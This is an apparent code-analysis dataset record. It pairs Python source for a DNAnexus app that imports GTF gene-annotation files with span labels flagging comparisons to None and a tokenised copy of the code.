details[property_key[i]] = property_value[i]\n for x in additional_type:\n types.append(x)\n\n if file_id != None:\n details['original_file'] = dxpy.dxlink(file_id)\n spansTable.set_details(details)\n if outputName == '':\n spansTable.rename(fileName)\n else:\n spansTable.rename(outputName)\n\n #This passes through the file calculates the gene and transcript models \n genes = {}\n transcripts = {}\n spanId = 0\n frames = {}\n stopCodons = {}\n \n\n inputFile = open(inputFileName, 'r')\n for line in inputFile:\n if line[0] != \"#\":\n values = parseLine(line, capturedTypes)\n\n if values[\"type\"] == \"CDS\":\n if frames.get(values[\"transcriptId\"]) == None:\n frames[values[\"transcriptId\"]] = {}\n frames[values[\"transcriptId\"]][values[\"lo\"]] = values[\"frame\"]\n \n for [element, hashId, elementType] in [[genes, values[\"geneId\"], \"geneName\"], [transcripts, values[\"transcriptId\"], \"transcriptName\"]]: \n\n if element.get(hashId) == None:\n element[hashId] = {values[\"chromosome\"]: {\"lo\":values[\"lo\"], \"hi\":values[\"hi\"], \"codingLo\": -1, \"codingHi\": -1, \"strand\":values[\"strand\"], \"score\":values[\"score\"], \"geneId\":values[\"geneId\"], \"coding\":False, \"spanId\": spanId, \"name\":values[elementType], \"originalGeneId\": values[\"attributes\"][\"gene_id\"], \"originalTranscriptId\": values[\"attributes\"][\"transcript_id\"]}}\n spanId += 1\n elif element[hashId].get(values[\"chromosome\"]) == None:\n element[hashId][values[\"chromosome\"]] = {\"lo\":values[\"lo\"], \"hi\":values[\"hi\"], \"codingLo\": -1, \"codingHi\": -1, \"strand\":values[\"strand\"], \"score\":values[\"score\"], \"geneId\":values[\"geneId\"], \"coding\":False, \"spanId\": spanId, \"name\":values[elementType], \"originalGeneId\": values[\"attributes\"][\"gene_id\"], \"originalTranscriptId\": values[\"attributes\"][\"transcript_id\"]}\n spanId += 1\n else:\n if values[\"lo\"] < element[hashId][values[\"chromosome\"]][\"lo\"]:\n element[hashId][values[\"chromosome\"]][\"lo\"] = values[\"lo\"]\n if values[\"hi\"] > element[hashId][values[\"chromosome\"]][\"hi\"]:\n element[hashId][values[\"chromosome\"]][\"hi\"] = values[\"hi\"]\n\n if values[\"type\"] == \"stop_codon\":\n if stopCodons.get(values[\"transcriptId\"]) == None:\n stopCodons[values[\"transcriptId\"]] = [[values[\"lo\"], values[\"hi\"]]]\n else:\n stopCodons[values[\"transcriptId\"]].append([values[\"lo\"], values[\"hi\"]])\n\n if values[\"type\"] == \"CDS\" or values[\"type\"] == \"start_codon\" or values[\"type\"] == \"stop_codon\":\n if values[\"hi\"] > transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingHi\"]:\n transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingHi\"] = values[\"hi\"]\n if values[\"lo\"] < transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingLo\"] or transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingLo\"] == -1:\n transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingLo\"] = values[\"lo\"]\n genes[values[\"geneId\"]][values[\"chromosome\"]][\"coding\"] = True\n transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"coding\"] = True\n\n for gId, chrList in genes.iteritems():\n for k, v in chrList.iteritems():\n entry = [k, v[\"lo\"], v[\"hi\"], v[\"name\"], v[\"spanId\"], \"gene\", v[\"strand\"], v[\"score\"], v[\"coding\"], -1, -1, '', '', v[\"originalGeneId\"], '']\n for x in additionalColumns:\n if x != \"gene_id\" and x != \"transcript_id\":\n entry.append('')\n spansTable.add_rows([entry])\n for gId, chrList in transcripts.iteritems():\n for k, v in chrList.iteritems():\n entry = [k, v[\"lo\"], v[\"hi\"], v[\"name\"], v[\"spanId\"], \"transcript\", v[\"strand\"], v[\"score\"], genes[v[\"geneId\"]][k][\"coding\"], genes[v[\"geneId\"]][k][\"spanId\"], -1, '', '', v[\"originalGeneId\"], v[\"originalTranscriptId\"]]\n for x in additionalColumns:\n if x != \"gene_id\" and x != \"transcript_id\":\n entry.append('')\n spansTable.add_rows([entry])\n\n exons = {}\n inputFile = open(inputFileName, 'r')\n \n for line in inputFile:\n if line[0] != \"#\":\n values = parseLine(line, capturedTypes)\n\n if exons.get(values[\"transcriptId\"]) != None:\n if exons[values[\"transcriptId\"]].get(values[\"chromosome\"]) == None:\n exons[values[\"transcriptId\"]][values[\"chromosome\"]] = []\n else:\n exons[values[\"transcriptId\"]] = {values[\"chromosome\"] : []}\n\n if capturedTypes.get(values[\"type\"]) != None:\n #If type is 5'UTR, 3'UTR, intergenic, or conserved intron, type is always noncoding\n if values[\"type\"] == \"5UTR\" or values[\"type\"] == \"3UTR\" or values[\"type\"] == \"inter\" or values[\"type\"] == \"inter_CNS\" or values[\"type\"] == \"intron_CNS\":\n writeEntry(spansTable, spanId, exons[values[\"transcriptId\"]], additionalColumns, values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"attributes\"], [values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"name\"], spanId, capturedTypes[values[\"type\"]], values[\"strand\"], values[\"score\"], False, transcripts[values[\"transcriptId\"]][\"spanId\"], values[\"frame\"], '', values[\"source\"]])\n\n if \"exon_number\" in values[\"attributes\"]:\n values[\"transcriptName\"] += \".\" + values[\"attributes\"][\"exon_number\"]\n\n #If type is CDS, always of type coding\n if values[\"type\"] == \"CDS\":\n if stopCodons.get(values[\"transcriptId\"]) != None:\n for x in stopCodons[values[\"transcriptId\"]]:\n if values[\"hi\"] == x[0]:\n values[\"hi\"] = x[1]\n break \n if [values[\"lo\"], values[\"hi\"]] not in exons[values[\"transcriptId\"]][values[\"chromosome\"]]:\n spanId = writeEntry(spansTable, spanId, exons[values[\"transcriptId\"]], additionalColumns, values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"attributes\"], [values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"transcriptName\"], spanId, capturedTypes[values[\"type\"]], values[\"strand\"], values[\"score\"], True, transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"spanId\"], values[\"frame\"], '', values[\"source\"]])\n\n #If type is exon do calculation as to whether coding or non-coding\n if values[\"type\"] == \"stop_codon\":\n values[\"type\"] = \"exon\"\n values[\"frame\"] = 3 - (values[\"hi\"] - values[\"lo\"])\n #if values[\"strand\"] == \"-\":\n # values[\"lo\"] = transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"lo\"]\n #else:\n # values[\"hi\"] = transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"hi\"]\n \n if values[\"type\"] == \"exon\":\n if (transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingLo\"] != -1 and transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"codingHi\"] != -1):\n if frames.get(values[\"transcriptId\"]) != None:\n if frames[values[\"transcriptId\"]].get(values[\"lo\"]) != None:\n values[\"frame\"] = frames[values[\"transcriptId\"]][values[\"lo\"]]\n\n for x in splitExons(transcripts[values[\"transcriptId\"]], values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"strand\"]):\n spanId = writeEntry(spansTable, spanId, exons[values[\"transcriptId\"]], additionalColumns, values[\"chromosome\"], x[1], x[2], values[\"attributes\"], [values[\"chromosome\"], x[1], x[2], values[\"transcriptName\"], spanId, x[0], values[\"strand\"], values[\"score\"], x[3], transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"spanId\"], values[\"frame\"], '', values[\"source\"]])\n else:\n spanId = writeEntry(spansTable, spanId, exons[values[\"transcriptId\"]], additionalColumns, values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"attributes\"], [values[\"chromosome\"], values[\"lo\"], values[\"hi\"], values[\"transcriptName\"], spanId, capturedTypes[values[\"type\"]], values[\"strand\"], values[\"score\"], False, transcripts[values[\"transcriptId\"]][values[\"chromosome\"]][\"spanId\"], values[\"frame\"], '', values[\"source\"]])\n\n spansTable.flush()\n spansTable.close()\n outputFile = open(\"result.txt\", 'w')\n outputFile.write(spansTable.get_id())\n outputFile.close()\n print(spansTable.get_id())\n return spansTable.get_id()", "metadata": "root.importGTF", "header": "['module', '___EOS___']", "index": 37 }, { "content": "def parseLine(line, capturedTypes):\n tabSplit = line.split(\"\\t\")\n if len(tabSplit) == 1:\n tabSplit = line.split(\" \")\n if len(tabSplit) < 9:\n raise dxpy.AppError(\"One row did not have 9 entries, it had 1 instead. Offending line: \" + line)\n tabSplit[8] = \" \".join(tabSplit[8:])\n tabSplit = tabSplit[:9]\n chromosome = tabSplit[0]\n source = tabSplit[1]\n typ = tabSplit[2]\n if capturedTypes.get(typ) == None:\n message = 'Permitted types: ' + \" ,\".join(capturedTypes.keys())\n raise dxpy.AppError(\"One row had a type which is not in the list of permitted types. \" + message + \"\\nOffending line: \" + line + \"\\nOffending type: \" + typ)\n\n try:\n score = float(tabSplit[5])\n except ValueError:\n if tabSplit[5] == \".\" or tabSplit[5] == '':\n score = dxpy.NULL\n else:\n raise dxpy.AppError(\"The score for one line could not be translated into a number and was not \\\".\\\"\" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[5])\n\n if tabSplit[6] != \"+\" and tabSplit[6] != \"-\" and tabSplit[6] != \".\":\n raise dxpy.AppError(\"The strand indicated for an element was not \\\"+\\\", \\\"-\\\", or \\\".\\\"\" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[6])\n else:\n strand = tabSplit[6]\n\n try:\n lo = int(tabSplit[3])-1\n except ValueError:\n raise dxpy.AppError(\"One of the start values was could not be translated to an integer. \" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[3])\n\n try:\n hi = int(tabSplit[4])\n except ValueError:\n raise dxpy.AppError(\"One of the start values was could not be translated to an integer. \" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[4])\n\n\n\n try:\n frame = int(tabSplit[7])\n if frame > 2 or frame < 0:\n raise dxpy.AppError(\"The frame indicated for an element was not \\\".\\\", \\\"0\\\", \\\"1\\\", or \\\"2\\\"\" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[7])\n except ValueError:\n if tabSplit[7] == \".\":\n frame = -1\n else:\n raise dxpy.AppError(\"The frame indicated for an element was not \\\".\\\", \\\"0\\\", \\\"1\\\", or \\\"2\\\"\" + \"\\nOffending line: \" + line + \"\\nOffending value: \" + tabSplit[7])\n\n lineAttributes = {}\n\n ##Extract the attributes from the file\n entrySplit = tabSplit[8].split(\";\")\n result = []\n for x in entrySplit:\n keyValue = x.strip().split(\" \")\n key = keyValue[0]\n if key != '':\n if len(key) < 100:\n lineAttributes[key.strip('\"')] = keyValue[1].strip('\"')\n\n geneId = lineAttributes[\"gene_id\"]\n transcriptId = lineAttributes[\"transcript_id\"]\n\n geneName = geneId\n if \"gene_name\" in lineAttributes:\n geneName = lineAttributes[\"gene_name\"]\n transcriptName = transcriptId\n if \"transcript_name\" in lineAttributes:\n transcriptName = lineAttributes[\"transcript_name\"]\n\n values = {\"chromosome\": chromosome, \"lo\": lo, \"hi\": hi, \"geneName\": geneName, \"transcriptName\": transcriptName, \"source\": source, \"type\": typ, \"strand\": strand, \"score\": score, \"frame\": frame, \"geneId\": geneId, \"transcriptId\": transcriptId, \"attributes\": lineAttributes}\n return values", "metadata": "root.parseLine", "header": "['module', '___EOS___']", "index": 274 } ]
[ { "span": "frames.get(values[\"transcriptId\"]) == None:", "start_line": 113, "start_column": 19, "end_line": 113, "end_column": 61 }, { "span": "element.get(hashId) == None:", "start_line": 119, "start_column": 19, "end_line": 119, "end_column": 46 }, { "span": "element[hashId].get(values[\"chromosome\"]) == None:", "start_line": 122, "start_column": 21, "end_line": 122, "end_column": 70 }, { "span": "stopCodons.get(values[\"transcriptId\"]) == None:", "start_line": 132, "start_column": 19, "end_line": 132, "end_column": 65 }, { "span": "exons[values[\"transcriptId\"]].get(values[\"chromosome\"]) == None:", "start_line": 168, "start_column": 19, "end_line": 168, "end_column": 82 }, { "span": "capturedTypes.get(typ) == None:", "start_line": 285, "start_column": 7, "end_line": 285, "end_column": 37 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "dxp", "y_", "._", "entry", "\\u", "point_", "(_", "'", "main", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "import", "GT", "F_", "(_", "**_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "args_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command", "\\u", "line", "\\u", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Name_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "file", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "reference_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Name_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "output", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "property", "\\u", "key_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "property", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "property", "\\u", "value_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "property", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addition", "al", "\\u", "type_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "addition", "al", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "id_", "=_", "command", "\\u", "line", "\\u", "args_", "._", "file", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "Name_", "=_", "args_", "[_", "'", "file", "Name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference_", "=_", "args_", "[_", "'", "reference", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Name_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "output", "Name", "'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output", "Name_", "=_", "args_", "[_", "'", "output", "Name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tag_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "tag", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tag_", "=_", "args_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "property", "\\u", "key", "'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "property", "\\u", "key_", "=_", "args_", "[_", "'", "property", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "property", "\\u", "value", "'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "property", "\\u", "value_", "=_", "args_", "[_", "'", "property", "\\u", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "addition", "al", "\\u", "type", "'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addition", "al", "\\u", "type_", "=_", "args_", "[_", "'", "addition", "al", "\\u", "type", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "get_", "(_", "'", "file", "\\u", "id", "'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "id_", "=_", "args_", "[_", "'", "file", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "input", "File", "Name_", "=_", "unpack_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "captured", "Types_", "=_", "{_", "\"", "5", "UT", "R", "\"_", ":_", "\"", "5", "'", " ", "UT", "R", "\"_", ",_", "\"", "3", "UT", "R", "\"_", ":_", "\"", "3", "'", " ", "UT", "R", "\"_", ",_", "\"", "CD", "S", "\"_", ":_", "\"", "CD", "S", "\"_", ",_", "\"", "inter", "\"_", ":_", "\"", "inter", "geni", "c", "\"_", ",_", "\"", "inter", "\\u", "CN", "S", "\"_", ":_", "\"", "inter", "geni", "c\\u", "conserv", "ed", "\"_", ",_", "\"", "intron", "\\u", "CN", "S", "\"_", ":_", "\"", "intron", "\\u", "conserv", "ed", "\"_", ",_", "\"", "exon", "\"_", ":_", "\"", "exon", "\"_", ",_", "\"", "transcri", "pt", "\"_", ":_", "\"", "transcri", "pt", "\"_", ",_", "\"", "gene", "\"_", ":_", "\"", "gene", "\"_", ",_", "\"", "stop", "\\u", "codon", "\"_", ":_", "\"", "stop", "\\u", "codon", "\"_", ",_", "\"", "start", "\\u", "codon", "\"_", ":_", "\"", "start", "\\u", "codon", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Row", "s", " ", "of", " ", "this", " ", "type", " ", "will", " ", "not", " ", "be", " ", "writt", "en", " ", "to", " ", "the", " ", "gta", "ble", " ", "as", " ", "thei", "r", " ", "informati", "on", " ", "is", " ", "full", "y", " ", "enco", "mpa", "sse", "d", " ", "by", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "Isolat", "e", " ", "the", " ", "attribute", " ", "tags", " ", "from", " ", "the", " ", "file", " ", "and", " ", "check", " ", "integrity", "_", "\\u\\u\\uNL\\u\\u\\u_", "span", "s", "Table_", ",_", "addition", "al", "Columns_", "=_", "construct", "Table_", "(_", "input", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "span", "s", "Table_", "._", "add", "\\u", "tags_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "=_", "[_", "\"", "Genes", "\"_", ",_", "\"", "gri", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "addition", "al", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "types_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span", "s", "Table_", "._", "add", "\\u", "types_", "(_", "types_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "details_", "=_", "{_", "'", "original", "\\u", "contigs", "et", "'_", ":_", "dxp", "y_", "._", "dx", "link_", "(_", "reference_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "property", "\\u", "key_", ")_", "!=_", "len_", "(_", "property", "\\u", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "Expect", "ed", " ", "each", " ", "provided", " ", "property", " ", "to", " ", "have", " ", "a", " ", "correspond", "ing", " ", "value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "property", "\\u", "key_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "details_", "[_", "property", "\\u", "key_", "[_", "i_", "]_", "]_", "=_", "property", "\\u", "value_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "x_", "in_", "addition", "al", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "types_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "file", "\\u", "id_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "details_", "[_", "'", "original", "\\u", "file", "'_", "]_", "=_", "dxp", "y_", "._", "dx", "link_", "(_", "file", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span", "s", "Table_", "._", "set\\u", "details_", "(_", "details_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "output", "Name_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "span", "s", "Table_", "._", "rename_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "span", "s", "Table_", "._", "rename_", "(_", "output", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Thi", "s", " ", "pass", "es", " ", "through", " ", "the", " ", "file", " ", "calcul", "ates", " ", "the", " ", "gene", " ", "and", " ", "transcri", "pt", " ", "model", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "genes_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transcripts", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "span", "Id_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frames_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "Cod", "ons_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "input", "File_", "=_", "open_", "(_", "input", "File", "Name_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "input", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "line_", "[_", "0_", "]_", "!=_", "\"#\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "=_", "parse", "Line_", "(_", "line_", ",_", "captured", "Types_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "CD", "S", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "frames_", "._", "get_", "(_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frames_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frames_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "lo", "\"_", "]_", "]_", "=_", "values_", "[_", "\"", "frame", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "[_", "element_", ",_", "hash", "Id_", ",_", "element", "Type_", "]_", "in_", "[_", "[_", "genes_", ",_", "values_", "[_", "\"", "gene", "Id", "\"_", "]_", ",_", "\"", "gene", "Name", "\"_", "]_", ",_", "[_", "transcripts", "_", ",_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ",_", "\"", "transcri", "pt", "Name", "\"_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "._", "get_", "(_", "hash", "Id_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "element_", "[_", "hash", "Id_", "]_", "=_", "{_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ":_", "{_", "\"", "lo", "\"_", ":_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "\"", "hi", "\"_", ":_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "\"", "codi", "ng", "Lo", "\"_", ":_", "-_", "1_", ",_", "\"", "codi", "ng", "Hi", "\"_", ":_", "-_", "1_", ",_", "\"", "strand", "\"_", ":_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "\"", "score", "\"_", ":_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "\"", "gene", "Id", "\"_", ":_", "values_", "[_", "\"", "gene", "Id", "\"_", "]_", ",_", "\"", "codi", "ng", "\"_", ":_", "False_", ",_", "\"", "span", "Id", "\"_", ":_", "span", "Id_", ",_", "\"", "name", "\"_", ":_", "values_", "[_", "element", "Type_", "]_", ",_", "\"", "original", "Gene", "Id", "\"_", ":_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "gene", "\\u", "id", "\"_", "]_", ",_", "\"", "original", "Transcript", "Id", "\"_", ":_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "transcri", "pt", "\\u", "id", "\"_", "]_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "span", "Id_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "element_", "[_", "hash", "Id_", "]_", "._", "get_", "(_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "element_", "[_", "hash", "Id_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "=_", "{_", "\"", "lo", "\"_", ":_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "\"", "hi", "\"_", ":_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "\"", "codi", "ng", "Lo", "\"_", ":_", "-_", "1_", ",_", "\"", "codi", "ng", "Hi", "\"_", ":_", "-_", "1_", ",_", "\"", "strand", "\"_", ":_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "\"", "score", "\"_", ":_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "\"", "gene", "Id", "\"_", ":_", "values_", "[_", "\"", "gene", "Id", "\"_", "]_", ",_", "\"", "codi", "ng", "\"_", ":_", "False_", ",_", "\"", "span", "Id", "\"_", ":_", "span", "Id_", ",_", "\"", "name", "\"_", ":_", "values_", "[_", "element", "Type_", "]_", ",_", "\"", "original", "Gene", "Id", "\"_", ":_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "gene", "\\u", "id", "\"_", "]_", ",_", "\"", "original", "Transcript", "Id", "\"_", ":_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "transcri", "pt", "\\u", "id", "\"_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "span", "Id_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 